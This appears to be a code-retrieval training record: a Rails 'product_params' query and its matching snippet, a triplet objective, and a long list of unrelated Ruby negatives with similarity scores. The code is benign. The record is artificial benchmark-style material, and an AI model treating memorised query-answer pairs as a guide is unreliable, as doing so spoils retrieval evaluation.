[ "0.5943165", "0.5862006", "0.56999207", "0.56999207", "0.5656402", "0.5646221", "0.5646221", "0.5560123", "0.5559098", "0.5556221", "0.55299383", "0.5523097", "0.5522777", "0.5522777", "0.5513652", "0.54755884", "0.5455988", "0.54506475", "0.54491895", "0.5445691", "0.5444222", "0.5444222", "0.54433495", "0.54415417", "0.5434701", "0.54328966", "0.5423024", "0.5423024", "0.5422949", "0.5410719", "0.53794813", "0.5368574", "0.5368574", "0.5365078", "0.5365078", "0.53609073", "0.53609073", "0.5358531", "0.5358531", "0.5356329", "0.5346961", "0.53269047", "0.5321452", "0.53149384", "0.53100175", "0.5301703", "0.5266314", "0.5266314", "0.5262712", "0.5259242", "0.5259242", "0.5255725", "0.5247809", "0.5246401", "0.5246072", "0.52246773", "0.5223324", "0.5221997", "0.52191", "0.52090424", "0.5208093", "0.520732", "0.52058554", "0.52042013", "0.5202669", "0.5192934", "0.51888466", "0.5188637", "0.5187528", "0.5185073", "0.5179626", "0.517541", "0.5170592", "0.5166207", "0.5164393", "0.516387", "0.5163567", "0.51612717", "0.51573676", "0.51510495", "0.51505935", "0.51505935", "0.5150559", "0.5147704", "0.514519", "0.5139877", "0.51389", "0.5137824", "0.5130531", "0.5126947", "0.51266515", "0.5123752", "0.5123752", "0.5123216", "0.512158", "0.5120021", "0.51122195", "0.5111888", "0.5110055" ]
0.7450269
1
def product_params params.permit(:roomname, :image, :text) end
def product_params params.require(:product).permit(:roomname, :text, :image) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def product_params\n params.require(:product).permit(:name, :image)\n end", "def room_params\n params.require(:room).permit(:roomtype,:image, :romnum, :pricepn,:hotel_id,:quantity)\n end", "def product_params\n params.require(:product).permit(:title, :price, :image)\n end", "def product_params\n params.require(:product).permit(:name, :price, :description, :image_url)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price, :image_url)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price, :product_category_id, :image)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price, :image_url)\n end", "def product_params\n params.require(:product).permit(:name, :description, :image_url, :price)\n end", "def product_params\n params.require(:product).permit(:title, :description, :price, :image_url)\n end", "def image_room_params\n params.require(:image_room).permit(:image, :room_id)\n end", "def product_params\n params.require(:product).permit(:title, :description, :image_url, :price)\n end", "def product_params\n\t\tparams.require(:product).permit(:name, :description, :category_id, :image, :name_vi, :description_vi)\n\tend", "def product_params\n params.require(:product).permit(:image,:name,:introduction,:genre_id,:price,:is_active)\n end", "def product_params\n\t params.require(:product).permit(:name, :image, :bar_code)\n\tend", "def product_params\n params.require(:product).permit(:name, :content, :released_at, :cost, :image)\n end", "def product_params\n params.require(:product).permit(:name, :price, :description, :category_id, :animal_id, :image)\n end", "def product_params\n params.require(:product).permit(:name, :price, :description, :cost, :qty, :image, :brand, :slug)\n end", "def product_params\n params.require(:product).permit(:name, :price, :description, :stock_quantity, :image)\n end", "def product_params\n params.require(:product).permit(:name, :price, :description, :reason, :user_id,:image,:status,:category_id)\n end", "def product_params\n params.require(:product).permit(:name, :description, :stockCount, :pricePence, :image, :section_id)\n end", "def product_params\n params.require(:product).permit(:title, :description, :image_url, :price, :category)\n end", "def product_params\n params.require(:product).permit(:name, :desc, :all_tags, :price, images: [])\n end", "def product_params\n params.require(:product).permit :name, :description, :ingredients, :body, :image, :category_id\n end", "def product_params\n params.require(:product).permit(:name, :price, :quantity, :image, :category_id)\n end", "def product_params\n params.require(:product).permit(:name, :desc, :address, :user_id, {image: []})\n end", "def product_params\n params.require(:product).permit(:description, :price, :image, :displaymain)\n end", "def product_params\n params.require(:product).permit(:image, :user_id, :product_type, :description, :unit_weight, :unit, :unit_price, :qty_stock, :qty_available, :image_data, :product_type_id)\n end", "def product_params\n params.require(:product).permit(:name, :description, :unit_price, :photo_url, :quantity)\n end", "def product_params\n params.permit(:title, :description, :category, :news, :price, :amount, :images => [])\n end", "def product_params\n params.require(:product).permit(:image, :title, :sku, :catagory, :price, :description, :subdescription, :install_ids , :quantity, :exvat_price, :buom , :suom)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price, :list_price, :image, :available, :quantity, :postage, :category_id)\n end", "def product_params\n params.require(:product).permit(:title, :price, :description, :message, :status, :user_id, :image, :image_cache, :remove_image)\n end", "def product_params\n params.permit(:name, :product_id, :price, :category_id, :about, :thumbnail_url)\n end", "def product_params\n params.require(:product).permit(:name, :type, :price, :description, :photo_url)\n end", "def shop_image_params\n params.require(:shop_image).permit(:description,:attachment)\n end", "def product_params\n params.require(:product).permit( :name, :price, :description, :condition_id, :quantity, :category_id, images:[])\n end", "def product_params\n params.require(:product).permit(:name, :description, :cost, :store, :pic)\n end", "def product_params\n params.require(:product).permit(:name, :content, :image, :qty, :price_net_buy, :price_net_sell, :product_index, :remove_image, :buy_number, :length, :structure, :gramature, :color, :product_kind)\n end", "def product_params\n params.require(:product).permit(:img, :title, :content, :price, :token)\n end", "def product_params\n params.require(:product).permit(:name, :description, :url, :category_id, :picture, \n :price, :social_image)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price, :image, :stock, :category)\n end", "def product_params\n params.permit(:title, :description, :price, :photo, :category_id)\n end", "def product_params\n params.require(:product).permit(:name, :price, :seller_id, :picture, :description)\n end", "def product_params\n params.require(:product).permit(:title, :sub_title, :photo, :value, :description)\n end", "def product_params\n params.require(:product).permit(:name, :logo, :category_id)\n end", "def product_params\n \tparams.require(:org_product).permit(:name, :tax_amount, {typ_category: :id}, {typ_subcategory: :id}, :price,\n \t:weight_in_grams, :available_quantity, :expiry_date, :description, :online_order_available, :image)\n end", "def item_params\n params.permit(:name, :image, :price)\n end", "def productimg_params\n params.require(:productimg).permit(:productimg)\n end", "def product_params\n params.require(:product).permit(:name, :category_id, :unit_price, :quantity, :avatar)\n end", "def product_params\n params.require(:product).permit(:name, :description, :image_url, :color, :price)\n end", "def product_params\n params.require(:product).permit(:name, :description, :image_url, :color, :price)\n end", "def admin_product_params\n params.require(:admin_product).permit(:name, :product,:avatar, :describe, :img_url, :category_id)\n end", "def product_params\n params.require(:product).permit(:description, :item_number, :min_order_quantity, :name, :price, :buyer_id, :manufacturer_id, :photo_file_name, :photo_content_type, :photo_file_size, :photo_updated_at)\n end", "def product_params\n params.require(:product).permit(:name, :price, :count, :image, :category_id)\n end", "def product_params\n params.require(:product).permit(:name, :price, :category_id, :image, :description, :full_price, :quantity, :user_id)\n end", "def product_params\n params.require(:product).permit(:name, :description, :address, :product_type, :qty, :phone_number, :users_id,images_attributes: [:id, :picture, :name])\n end", "def product_params\n params.require(:product).permit(:title, :description, :link_product, :price, :min_price, :part_number, :photo, :offer_price, :offer, :promotion, :brand_id, :section_id, :tag_list, :tag,\n :images_attributes => [:id,:url,:use,:image])\n end", "def cp_product_params\n params.require(:product).permit(:name, :description, :type, :photo)\n end", "def product_params\n params.require(:product).permit(:title,:titlelink,:price,:room,:roomlink,:area,:arealink,\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t:person,:personlink,:date)\n end", "def product_params\n\t params.require(:product).permit(:name, :description, :downloadtype, :price, :price_currency, :price_cents, :live, :file, :intro, :image, :background)\n\t end", "def product_params\n params.permit(:name, :desc, :price, :inventory_count, :detail_url, :head_image, :is_published,\n :user_id, :postage, :interval, :lottery_percent,:diamond_num,:product_second_type,:product_tag_id)\n end", "def product_params\n params.require(:product).permit(:title, :user_id, :cost, :collection, :items, :contents, :perishables, :non_perishables, :description, {images: []})\n end", "def product_params\n params.require(:product).permit(:name, :description, :barcode_type, :barcode, :image, :address, :user_id)\n end", "def product_params\n params.require(:product).permit(:name, :rent_price, :actual_price, :description, sizes_available: [], category_ids: [], images: [])\n end", "def product_params\n params.require(:product).permit(:title, :description, :title_fa, :description_fa, :category_id, \n :coming_soon, :image, :sub_category_id)\n end", "def product_params\n params.require(:product).permit(:name, :description, :details, :prize, :stock, :discount, images: [])\n end", "def product_params\n params.require(:product).permit(:name, :product_type, :price, :detail, :filename, :private)\n end", "def product_params\n product_params =\n params.require(:product).permit(\n :name,\n :description,\n :url,\n :meta_title,\n :meta_description,\n :meta_keywords,\n :price,\n :mrp,\n :weight,\n :rank,\n :status,\n :avatar\n )\n end", "def product_params\n params.require(:product).permit(:category_id, \n :product_name,\n :company,\n :description,\n :logo_img,\n :web_link,\n :gplay_link,\n )\n end", "def product_params\n params.require(:product).permit(:name, :product_type_id, :length, :width, :height, :weight)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price, :active, :order_id, :avatar)\n end", "def product_params\n params.require(:product).permit(:name, :description)\n end", "def product_params\n params.require(:product).permit(:name, :description)\n end", "def product_params\n params.require(:product).permit(:name, :description, :public)\n end", "def product_params\n params.require(:product).permit(:product_name,:product_code,:grade,:formula,:molar_mass,{chemical_images: []},:pakaging, :price)\n end", "def product_params\n params.require(:product).permit(:title, :description, :price, :category, :image_url, :buyer_id, :seller_id)\n end", "def product_params\n params.require(:product).permit(:image, :text, :tag_list).merge(user_id: current_user.id)\n end", "def product_params\n params.require(:product).permit(:name, :series, :description, :specs, :brand, :sub_category_id, :remarks1, :remarks2, :remarks3, :remarks4, :product_picture1, :product_picture2, :product_picture3, :product_pdf1)\n end", "def product_params\n params.require(:product).permit(:title, :description, :stock, :status, :primary_image, :supporting_images=>[])\n end", "def product_params\n params.require(:product).permit(:name, :cost, :desc, :image, :image_cache, :user_id)\n end", "def product_params\n params.require(:product).permit(:category, :title, :total_tickets, :sold_tickets, :short_description, :long_description, :price,\n :approve, :hot, :count_down, :user_id, :admin_id,\n images_attributes: [:id, :avatar, :product_id])\n end", "def productimage_params\n params.require(:productimage).permit(:alt, :src, :user_id, :product_id, :photo)\n end", "def product_params\n params.require(:product).permit(:category_id, :title, :description, :image, :unit_price, :available_item, :is_active, :price)\n end", "def product_params\n params.require(:product).permit(:product)\n end", "def product_params\n params.require(:product).permit(:name, :details)\n end", "def product_params\n params.require(:product).permit(:name, :description, :color, :price, :shape_id, :avatar)\n end", "def product_params\n params.require(:product).permit(:name, :introduce, :image_id, :price, :genre_id, :product_status, :delete_flag)\n end", "def product_params\n\t\tparams[:product].permit(:name, :category_id, :price, :description, :stock, :sub_cat_id,:tax_id, :net_price,:cod_eligible, :release_date, :image_url)\n\tend", "def product_params\n \tparams.require(:product).permit(:title, :description, :price, :image, :stock, :category_name, :search )\n end", "def product_params\n params.require(:product).permit(:user_id, :category, :title, :full_description,:description, :uploaded_file, :price)\n end", "def product_params\n params.require(:product).\npermit(:provider_id, :category, :status, :product_status, :name, :number, :unit, :price, :start_volume, :volume, :brand, :spec, :other, :mark, photos_attributes: [:image, :tag])\n end", "def product_params\n params.require(:product).permit(:name, :product_type, :product_subtype, :vintage, :country, :region, :brand_id, :user_id, :image, :remote_image_url, :appellation, :vineyard, :grape_varietals, :clones, :soil, :plot_characteristics, :yield, :vineyard_practices, :harvest, :yeast, :accolades, :producer, :bottle_size, :vinification_methods, :description, :shelf_talker, :tech_sheet, :case_card)\n end", "def product_params\n params.require(:product).permit(:category, :title, :total_tickets, :sold_tickets, :short_description, :long_description, :price, :ticket_price,\n :approve, :hot, :count_down, :user_id, :admin_id,\n images_attributes: [:id, :avatar, :product_id])\n end", "def product_params\nparams.require(:product).permit(:name, :price, :productType, :description, :tags)\nend", "def product_params\n params.require(:product).permit(:name, :description, :product_type, :dimensions, :weight, :material,\n :product_code, :is_new_release, :collection, :collection_id,\n :sub_collection, :sub_collection_id, product_images_attributes: [:product_image, :product, :product_id])\n end", "def object_params\n params.require(:product).permit(:name, :description, :stock, :price, :image)\n end", "def product_params\n params.require(:product).permit(:user_id, :category_id, :product_name, :product_description, :product_price, :product_stock, :product_image)\n end", "def product_params\n params.require(:product).permit(:name, :description, :price,\n :stock_quantity, :on_sale, :sale_price,\n :status, :image, :rating, :category_id,\n :genre, :province)\n end", "def product_params\n params.require(:product).permit(:name)\n end", "def product_params\n params\n .require(:data)\n .require(:attributes)\n .permit(\n :name,\n :brand,\n :description,\n :price,\n :image_url,\n :product_url\n )\n end" ]
[ "0.8410431", "0.828694", "0.82692325", "0.82331", "0.8221226", "0.8167253", "0.8149526", "0.8133822", "0.8123091", "0.8122155", "0.8101613", "0.80931664", "0.80878526", "0.8064436", "0.80643433", "0.8060577", "0.8028389", "0.8027768", "0.8004703", "0.7995737", "0.798819", "0.797617", "0.7964718", "0.79593915", "0.7956025", "0.795353", "0.7949708", "0.7948997", "0.79422146", "0.7941283", "0.7941251", "0.79396033", "0.7920488", "0.7919766", "0.7919627", "0.79161334", "0.7906853", "0.79001963", "0.78932416", "0.7885124", "0.78813714", "0.7878432", "0.7870037", "0.78560674", "0.78513575", "0.78488237", "0.78465116", "0.78436196", "0.78332186", "0.78306407", "0.78306407", "0.7829164", "0.78185827", "0.78106683", "0.78070474", "0.7805481", "0.7798008", "0.7796904", "0.7796862", "0.7792959", "0.778213", "0.77819425", "0.7777534", "0.7761954", "0.7761882", "0.77600735", "0.7754257", "0.7753405", "0.7751456", "0.7750197", "0.7748714", "0.7733247", "0.7733247", "0.7730733", "0.7729269", "0.7728221", "0.77262634", "0.7713972", "0.7713268", "0.77126384", "0.77110124", "0.77109784", "0.77103084", "0.7705109", "0.77037543", "0.77026784", "0.76966506", "0.769505", "0.7692457", "0.76861", "0.7685679", "0.76849", "0.7680147", "0.7680128", "0.76760936", "0.7673149", "0.76705074", "0.766856", "0.7667616", "0.7663205" ]
0.96327066
0
initialize Instance Methods ===================================================================== Repository
def repo if @repo == NRSER::NO_ARG @repo = QB::Repo.from_path root_path end @repo end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize\n init\n end", "def initialize\n @configuration = RepositoryConfiguration.new\n end", "def init\n\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize\n\t\t\n\t\t@dao = DAO.new 'rpg'\n\n\tend", "def initialize()\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def pre_initialize\n end", "def pre_initialize; end", "def init\n super_init\n @persistent_store = PersistentStore.alloc.init\n create_all_tiles if @persistent_store.fresh?\n self\n end", "def initialize() end", "def initialize\n end", "def initialize\n \n end", "def init\n raise NotImplementedError\n end", "def initialize\n super()\n init_data()\n end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize\n\t\t\n\tend", "def initialize()\n\t\tend", "def initialize_repository\n @packages = []\n end", "def initialize(options)\n initialize_params(options)\n initialize_query\n end", "def initialize(options)\n initialize_params(options)\n initialize_query\n end", "def initialize()\n\t begin\n\t @items = Item.find_with_conditions(nil)\n\t\trescue Exception => e\n\t\t model_exception(e)\n\t\tend\n\t\t@copies = nil\n end", "def initialize_repo\n puts \"starting to initialize repo: '#{self.ident}' finished successfully.\"\n self.update_repo\n end", "def initializeORM()\n\t# nothing to do\nend", "def initialize\n\n\n\n end", "def initialize\n \n end", "def initialize\n \n end", "def initialize\r\n\r\n end", "def init\n\nend", "def initialize(repository, query_options={}, &block)\n @repository = repository\n @query_options = query_options\n super(&block)\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize()\r\n\r\n end", "def initialize(*args)\n\t\t\t\t\tself.track_changed_attributes = true\n\t\t\t\t\tself.changed_attributes_aado = []\n\n\t\t\t\t\tsuper(*args)\n\t\t\t\t\t\n\t\t\t\t\trequire \"obdb/AR_DatabaseObject\"\t# its here because of a circular reference problem\n\t\t\t\t\tself.database_object = DatabaseObject.create_do(self.class, self.id, self)\n\t\t\t\tend", "def initialize\n end", "def initialize\n\tinit\n\tsuper\nend", "def initialize(repository)\n @repository = repository\n end", "def post_initialize\n # raise NotImplementedError\n end", "def initialize(_container, _entity=nil)\n _container = _container.is_a?(Proc) ? _container.call : _container\n App.logger.debug \"RW repo #{self} initializing with rom-container: #{_container}, entity: #{_entity}\"\n super(_container)\n @entity = _entity\n self\n end", "def init\n self\n end", "def initialize\n # nothing here for now\n end", "def init; end", "def initialize(repository)\n @repository = repository\n end", "def post_initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def at_init\n\n\t\tend", "def initialize\n # complete\n end", "def initialize()\n\n end", "def initialize\n\t\nend", "def initialize\nend", "def initialize()\n\tend", "def initialize()\n\tend", "def initialize()\n # Cards table, containing cards hashes\n setAllCards()\n end", "def init\n\t\tif @@should_init\n\t\t\tbot.logger.debug \"initializing\"\n\t\t\t@@should_init \t= false\n\t\t\t@users \t\t\t= Users.reload\n\t\tend\n\tend", "def initialize\n\n end", "def initialize\n\n end", "def initialize\n\n\nend", "def initialize()\n #@ch = Concept.init_concept_hash()\n #Indexer.initialize_dict()\n #@ch = Indexer.init_concept_hash\n end", "def initialize\n set_defaults\n end", "def initialize\n set_defaults\n end", "def initialize\n save\n end", "def git_init\n @repo = Rugged::Repository.init_at(repo_path.to_s)\n @index = repo.index\n end" ]
[ "0.7023822", "0.6996723", "0.6984403", "0.6972417", "0.6972417", "0.6972417", "0.6943062", "0.6943062", "0.684795", "0.68139386", "0.68035287", "0.68035287", "0.68035287", "0.68035287", "0.6758314", "0.67540157", "0.6741457", "0.6731434", "0.67160606", "0.6710222", "0.67030704", "0.6687436", "0.6681563", "0.6681563", "0.6671277", "0.66662645", "0.6663371", "0.6616378", "0.6616378", "0.66000015", "0.65991277", "0.6588107", "0.65835243", "0.6570736", "0.6570736", "0.65634173", "0.6553961", "0.6540952", "0.6495869", "0.6495869", "0.6495869", "0.6495869", "0.6495869", "0.6495869", "0.6495869", "0.6495869", "0.64811474", "0.64811474", "0.64811474", "0.64811474", "0.64811474", "0.64811474", "0.6480844", "0.6472648", "0.64704764", "0.6464195", "0.6460898", "0.6460338", "0.64588696", "0.6454084", "0.64474213", "0.6444947", "0.6443154", "0.6440207", "0.6428514", "0.6428514", "0.6428514", "0.6428514", "0.6428514", "0.6428514", "0.6428514", "0.6428514", "0.6428514", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6428157", "0.6422424", "0.6409103", "0.6400393", "0.63968784", "0.6391833", "0.6389731", "0.6389731", "0.6386593", "0.6379183", "0.6377598", "0.6377598", "0.6372303", "0.6371948", "0.63380903", "0.63380903", "0.6316323", "0.6304113" ]
0.0
-1
Get the string prefix for tagging versions of this package. Only makes any sense if the package is in a recognized repo, and will error out if that's not the case. The most basic prefix is "v" for packages located at the root of the repository.
def version_tag_prefix if root_path == repo.root_path 'v' else (repo_rel_path / 'v').to_s end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prefix_tag(tag)\n tag = Origen::VersionString.new(tag)\n if tag.semantic?\n tag.prefixed\n else\n tag\n end\n end", "def version_prefix\n '/v2'\n end", "def version_tag\n version_composition.join(\".\")\n end", "def prefixed(str = 'v')\n if Origen.config.app.config.rc_tag_prepend_v\n if self =~ /^#{str}/\n to_s\n else\n \"#{str}#{self}\"\n end\n else\n self\n end\n end", "def tag_string\n config[:tag_prefix] ? \"#{config[:tag_prefix]}#{@target_version}\" : @target_version.to_s\n end", "def vendored_package_name(package)\n\tFile.join($package_name, 'vendor/src', package)\nend", "def package_name\n @version ? \"#{@name}-#{@version}\" : @name\n end", "def prefixed_label(package)\n label = ( package =~ /^#{$prefix}(.*)$/ ) && $1 || package\n label = '.' if label.empty?\n label\nend", "def vprefix\n r = File.dirname(path)\n r = if r == \".\" then \"\" else \"#{r}/\" end\n \"/#{r}\"\n end", "def pkg_version(item)\n # refactoring! :revision points to same revision as item!\n v = revision.checkout.extract_version\n return \"#{v}pre.#{item.version}.#{item.id}\"\n end", "def version_name\n self.class.version_names.join('_').to_sym unless self.class.version_names.blank?\n end", "def rock_release_prefix(release_name = nil)\n release_name ||= rock_release_name\n if release_name\n pkg_prefix_base + \"-#{release_name}-\"\n else\n pkg_prefix_base + \"-\"\n end\n end", "def name_with_version\n if self.version.nil?\n return name\n else\n return [name, version].join(':')\n end\n end", "def get_version(version)\n \"V#{version.gsub('-','_')}\"\n end", "def rock_ruby_release_prefix(release_name = nil)\n rock_release_prefix(release_name) + \"ruby-\"\n end", "def version_tag(text); end", "def version_key(key)\n return \"#{key}_v#{VERSION}\"\n end", "def name\n [self[:namespace], self[:short_name]].reject(&:blank?).join(Tag.namespace_separator)\n end", "def prefix\n regexify(bothify(fetch('aircraft.prefix')))\n end", "def prefix\n \"#{name}::\"\n end", "def package_name(project)\n \"#{project.name}-#{project.version}-#{project.release}.#{@architecture}.pkg.gz\"\n end", "def var_prefix\n # ugh, i was generating meta/qb.yml files that set 'var_prefix' to\n # `null`, but it would be nice to\n # \n meta_or 'var_prefix', namespaceless\n end", "def bot_short_name_without_version(pr)\n bot_short_name(pr).sub(/_v\\d*$/, '_v')\n end", "def package_version\n @semver.to_s '%M.%m.%p%s'\n end", "def rubygems_version_string\n VERSION.gsub(/[-\\+]/,'.')\n end", "def version_string(dependency, is_purl_version = false)\n # If the dependency is specified in the Gemfile and an absolute version is needed for\n # the purl return empty\n return \"\" if dependency[:dependency_file] == 'Gemfile' && is_purl_version\n\n prefix = is_purl_version ? \"@\" : \"\"\n \"#{prefix}#{dependency[:version]}\"\n end", "def sdk_prefix\n @sdk_prefix ||= begin\n if !CLT.provides_sdk?\n \"\"\n else\n \"#{CLT::PKG_PATH}/SDKs\"\n end\n end\n end", "def prefix(browser, version = nil)\n assert_valid_browser browser\n assert_valid_version browser, version if version\n data = browser_data(browser)\n p = if data[\"prefix_exceptions\"] && data[\"prefix_exceptions\"][version]\n data[\"prefix_exceptions\"][version]\n else\n data[\"prefix\"]\n end\n \"-#{p}\"\n end", "def massage_version(tags,dependency)\n case dependency\n when :node\n tags.map {|tag| tag.gsub(/v/,\"\")}\n else\n tags\n end\n end", "def version_to_namespace(version)\n version.gsub('.', '')\n end", "def base_prefix\n Starter::Config.read[:prefix]\n end", "def version\n\t\t\tbegin\n\t\t\t\tv = \"#{GVB.major_version}.#{GVB.minor_version}.#{GVB.patch_version}\"\n\t\t\trescue\n\t\t\t\tv = File.read(\".gvb_version\") if File.exists?(\".gvb_version\")\n\t\t\tend\n\t\t\t# If we got a version then use it to construct a link to the github tag of the same\n\t\t\tif v\n\t\t\t\tl = link_to v, \"https://github.com/machiavellian/machiavelli/releases/tag/v#{v}\", target: \"blank\" if v\n\t\t\t\treturn \"version #{l} \".html_safe\n\t\t\tend\n\t\tend", "def versioned_directory_name\n DIR_PREFIX + next_version\n end", "def parse_numeric_alias_prefix(branch)\n /^(?<version>(\\d+\\.)*\\d+)(?:\\.x)?-dev$/i.match(branch) do |matches|\n return \"#{matches['version']}.\"\n end\n false\n end", "def full_version\n return nil unless exact\n\n \"~> \".concat(version)\n end", "def version_name\n if inside_association?\n \"#{proxy_reflection.name}_version\"\n else\n \"version\"\n end\n end", "def initialize(version, prefix = 'v')\n version.gsub!(/^#{prefix}/, '') # remove leading prefix\n super(version)\n end", "def prefix(*args)\n [@options[:env], @options[:prefix], *args].compact.join('.')\n end", "def fmri_package_name\n version = project.build_version.split(/[^\\d]/)[0..2].join(\".\")\n platform = Ohai[\"platform_version\"]\n \"#{safe_base_package_name}@#{version},#{platform}-#{project.build_iteration}\"\n end", "def vendored_package_path(package)\n\tFile.join($root, 'vendor/src', package)\nend", "def versionString()\n\t\t\t\treturn \"#{major}.#{minor}.#{build}\"\n\t\t\tend", "def current_version_key\n \"#{::Album.hash_schema_version}.#{current_versions.version(self.album_type)}\"\n end", "def package_name\n name = package_drop_last(slug_parts)\n name.empty? ? '_root_' : name\n end", "def package_basename(extension='.gem')\n [ package_name, version ].join('-') + extension\n end", "def full_name\n \"#{@name}-#{@version}\"\n end", "def getsfLma__PackageVersionObjName\r\n\t\t\treturn \"sfLma__Package_Version__c\"\r\n\t\tend", "def nsAdjustment(namespace, options, src)\n src && options[:autoVerNs] ? \"#{namespace}.v#{src.ver.full.toVarName}\" : namespace\nend", "def prefix(value)\n merge(aguprefix: value.to_s)\n end", "def package_name\n [self.config.organization, self.config.project_name].compact.collect(&:underscore).join('-')\n end", "def version\n @version ||= if token.nil? || Array(packages).empty?\n '0.1.0'\n else\n packages.map do |p|\n Gem::Version.new(p['version'])\n end.sort.last.bump.to_s << '.0'\n end\n end", "def module_name(version, service)\n version = version.to_sym\n service = service.to_sym\n return \"#{api_name}::#{version.to_s.upcase}::#{service}\"\n end", "def version\n name.split('_')[1]\n end", "def drop_prefix(repo)\n repo.split('-')[1].to_s.capitalize\nend", "def base_prefix\n HaridsyncHelpers.ensure_uppercase_dn_component(group['ou'] || DEFAULT_PREFIX)\n end", "def version_file_from( name )\n\t\treturn name.\n\t\t\tsplit( /-/ ).\n\t\t\treject {|word| PACKAGE_IGNORE_WORDS.include?(word) }.\n\t\t\tjoin( '/' )\n\tend", "def version_const\n \"Version_\" + @__version.upcase.gsub(\".\", \"_\")\n end", "def vendored_path_parts(package)\n return if package.nil? || package[\"Dir\"].nil?\n package[\"Dir\"].match(/^(?<vendor_path>#{config.root}(\\/.+)*\\/[^\\/]*vendor[^\\/]*)\\/(?<import_path>.+)$/i)\n end", "def build_tag_prefix\n 'builds/b'\n end", "def type_and_version\n self.name.gsub(\"#{Licensed::Sources.name}::\", \"\")\n .gsub(/([A-Z\\d]+)([A-Z][a-z])/, \"\\\\1_\\\\2\".freeze)\n .gsub(/([a-z\\d])([A-Z])/, \"\\\\1_\\\\2\".freeze)\n .downcase\n .split(\"::\")\n end", "def prefix\n @fog_wrapper.prefix\n end", "def prefix(value)\n merge(gadrprefix: value.to_s)\n end", "def package_name\n @package_name ||=\n Pathname(\"#{cartage.final_name}.tar#{cartage.tar_compression_extension}\")\n end", "def fetch_latest_tag(version_prefix = 'v')\n version_array = fetch_tags(\"-l \\\"#{version_prefix}*\\\" --sort=-#{version_prefix}:refname\")\n return version_array[0] unless version_array.length < 1\n # raise error if empty\n raise ImqsGitError, \"No tags were found for prefix#{version_prefix}\"\n end", "def package_name\n ver = if new_resource.version == 'latest'\n package_metadata[:version]\n else\n new_resource.version\n end\n \"Chef Development Kit v#{ver}\"\n end", "def get_namespace(remote_repo_name)\n if remote_repo_name\n remote_repo_name.scan(/\\A.*?(?=--)/).first\n end\n end", "def prefix\n raise NotImplementedError\n end", "def version\n build_string\n end", "def id_for_repo(repo)\n \"#{repo.url}##{repo.version}\"\n end", "def prefix\n self.class.prefix\n end", "def prefix\n @prefix ||= 'assets'\n end", "def prefix\n @obj['prefix']\n end", "def sub_version\n \">= \".concat(version.split('.').first(2).join('.'))\n end", "def tag_url(svn_url, tag)\n trunk_or_branches = Regexp.union(%r{^(.*)/trunk(.*)$}, %r{^(.*)/branches(.*)/([^/]*)$})\n match = trunk_or_branches.match(svn_url)\n prefix = match[1] || match[3]\n suffix = match[2] || match[4]\n prefix + '/tags' + suffix + '/' + tag\n end", "def test_format_tag\n version = VMLib::Version.new 'foo', 1, 2, 3, 'rc.1', 'sha.5114f85'\n\n # Make sure all fields are included in the tag\n assert_equal 'v1.2.3-rc.1+sha.5114f85', version.tag\n\n # Changing the build should reflect in the tag\n version.build = 'sha.0012312'\n assert_equal 'v1.2.3-rc.1+sha.0012312', version.tag\n\n # Removing the build should reflect in the tag\n version.build = ''\n assert_equal 'v1.2.3-rc.1', version.tag\n\n # Changing the prerelease should reflect in the tag\n version.prerelease = 'alpha.02'\n assert_equal 'v1.2.3-a.2', version.tag\n\n # Removing the prerelease should reflect in the tag\n version.prerelease = ''\n assert_equal 'v1.2.3', version.tag\n\n # Having a build metadata and no prerelease should reflect in the tag\n version.build = 'sha.12ab32d'\n assert_equal 'v1.2.3+sha.12ab32d', version.tag\n end", "def redhat_version_string(sensu_version, platform_version, suffix_override = nil)\n bare_version = sensu_version.split('-').first\n if Gem::Version.new(bare_version) < Gem::Version.new('0.27.0')\n sensu_version\n else\n platform_major = Gem::Version.new(platform_version).segments.first\n suffix = suffix_override || \".el#{platform_major}\"\n [sensu_version, suffix].join\n end\n end", "def release_name\n return nil unless @data['name'] && @data['version']\n [ dashed_name, @data['version'] ].join('-')\n end", "def prefix\n ''\n end", "def with_version_constraints_strings\n map do |recipe_name|\n if @versions[recipe_name]\n \"#{recipe_name}@#{@versions[recipe_name]}\"\n else\n recipe_name\n end\n end\n end", "def fully_qualified_name\n return \".#{self.package}\"\n end", "def canonicalize_repo(repo)\n # if they fully-qualified it, we're good\n return repo if repo.start_with?('http', 'git@')\n\n # otherwise, ti's a shortname\n cr = \"git@#{@ghhost || 'github.com'}:#{repo}.git\"\n SugarJar::Log.debug(\"canonicalized #{repo} to #{cr}\")\n cr\n end", "def to_s\n str = [major, minor, patch].compact.join('.')\n str = \"#{str}.#{pre}\" if pre\n str\n end", "def tag_version\n v = @git_repo.lib.describe('--long').split('-')\n tag_version = v[0].split('.')\n tag_version[0].gsub!('v', '')\n r = {\n major: tag_version[0],\n minor: tag_version[1],\n revision: tag_version[2],\n short_hash: v[2],\n long_hash: long_hash,\n changes_since_last_tag: v[1]\n }\n puts \"GitRevision: tag_version #{r.inspect}\" if @debug\n r\n end", "def log_prefix\n \"[#{tag}: #{name}]\"\n end", "def non_vendored_import_path(package)\n return if package.nil?\n parts = 